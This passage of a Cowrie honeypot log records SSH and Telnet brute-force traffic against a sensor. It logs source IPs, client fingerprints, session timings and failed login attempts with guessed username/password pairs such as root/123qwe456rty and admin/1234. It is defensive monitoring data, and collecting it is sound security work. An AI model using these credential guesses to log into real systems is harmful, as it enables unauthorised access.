cdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:35.060228Z","src_ip":"192.109.200.237","session":"631406fa1e86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe456rty","message":"login attempt [root/123qwe456rty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:35.286935Z","src_ip":"192.169.243.246","session":"269214565a29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:35.308074Z","src_ip":"192.109.200.237","session":"631406fa1e86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:36.365622Z","src_ip":"192.169.243.246","session":"269214565a29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:36.391798Z","src_ip":"192.109.200.237","session":"631406fa1e86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56464,"dst_ip":"159.203.135.109","dst_port":22,"session":"82958c3e4f4b","protocol":"ssh","message":"New connection: 192.109.200.237:56464 (159.203.135.109:22) [session: 82958c3e4f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:38.398643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:38.468423Z","src_ip":"192.109.200.237","session":"82958c3e4f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:38.491982Z","src_ip":"192.109.200.237","session":"82958c3e4f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:38.805261Z","src_ip":"192.109.200.237","session":"82958c3e4f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":54772,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e4dd20f739e","protocol":"ssh","message":"New connection: 37.233.85.71:54772 (10.17.0.5:22) [session: 7e4dd20f739e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:38.888489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:38.892826Z","src_ip":"37.233.85.71","session":"7e4dd20f739e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:38.992220Z","src_ip":"37.233.85.71","session":"7e4dd20f739e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cookie","message":"login attempt [root/cookie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:39.290092Z","src_ip":"37.233.85.71","session":"7e4dd20f739e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:39.893487Z","src_ip":"192.109.200.237","session":"82958c3e4f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:40.392440Z","src_ip":"37.233.85.71","session":"7e4dd20f739e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.947893619537354,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:40.399798Z","src_ip":"152.42.224.71","session":"6c35fb123770","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34746,"dst_ip":"159.203.135.109","dst_port":22,"session":"241f24e4a051","protocol":"ssh","message":"New connection: 192.109.200.237:34746 (159.203.135.109:22) [session: 241f24e4a051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:41.826863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:41.831528Z","src_ip":"192.109.200.237","session":"241f24e4a051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:41.913943Z","src_ip":"192.109.200.237","session":"241f24e4a051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:42.172411Z","src_ip":"192.109.200.237","session":"241f24e4a051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:43.271929Z","src_ip":"192.109.200.237","session":"241f24e4a051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34764,"dst_ip":"159.203.135.109","dst_port":22,"session":"42920215f387","protocol":"ssh","message":"New connection: 192.109.200.237:34764 (159.203.135.109:22) [session: 42920215f387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:45.132037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:45.138742Z","src_ip":"192.109.200.237","session":"42920215f387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:45.221828Z","src_ip":"192.109.200.237","session":"42920215f387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:45.472792Z","src_ip":"192.109.200.237","session":"42920215f387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:46.558126Z","src_ip":"192.109.200.237","session":"42920215f387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.424122095108032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:47.012915Z","src_ip":"209.127.178.212","session":"eb93b86e4151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34786,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c7d1d47a8eb","protocol":"ssh","message":"New connection: 192.109.200.237:34786 (159.203.135.109:22) [session: 6c7d1d47a8eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:48.561397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:48.613637Z","src_ip":"192.109.200.237","session":"6c7d1d47a8eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:48.653622Z","src_ip":"192.109.200.237","session":"6c7d1d47a8eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:48.997340Z","src_ip":"192.109.200.237","session":"6c7d1d47a8eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:50.087631Z","src_ip":"192.109.200.237","session":"6c7d1d47a8eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43066,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ee6020ac506","protocol":"ssh","message":"New connection: 192.109.200.237:43066 (159.203.135.109:22) [session: 3ee6020ac506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:52.007748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:52.012512Z","src_ip":"192.109.200.237","session":"3ee6020ac506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:52.095323Z","src_ip":"192.109.200.237","session":"3ee6020ac506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:52.345635Z","src_ip":"192.109.200.237","session":"3ee6020ac506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:53.431238Z","src_ip":"192.109.200.237","session":"3ee6020ac506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60528,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c929e0edc7d","protocol":"telnet","message":"New connection: 152.42.224.71:60528 (10.17.0.5:23) [session: 7c929e0edc7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:54.009850Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56198,"dst_ip":"159.203.135.109","dst_port":22,"session":"902d7c26ac27","protocol":"ssh","message":"New connection: 89.223.69.22:56198 (159.203.135.109:22) [session: 902d7c26ac27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:54.926610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:54.932491Z","src_ip":"89.223.69.22","session":"902d7c26ac27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:55.045996Z","src_ip":"89.223.69.22","session":"902d7c26ac27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckoff","message":"login attempt [root/fuckoff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:55.387556Z","src_ip":"89.223.69.22","session":"902d7c26ac27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43070,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dbfb4691539","protocol":"ssh","message":"New connection: 192.109.200.237:43070 (159.203.135.109:22) [session: 3dbfb4691539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:55.465948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:55.472458Z","src_ip":"192.109.200.237","session":"3dbfb4691539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-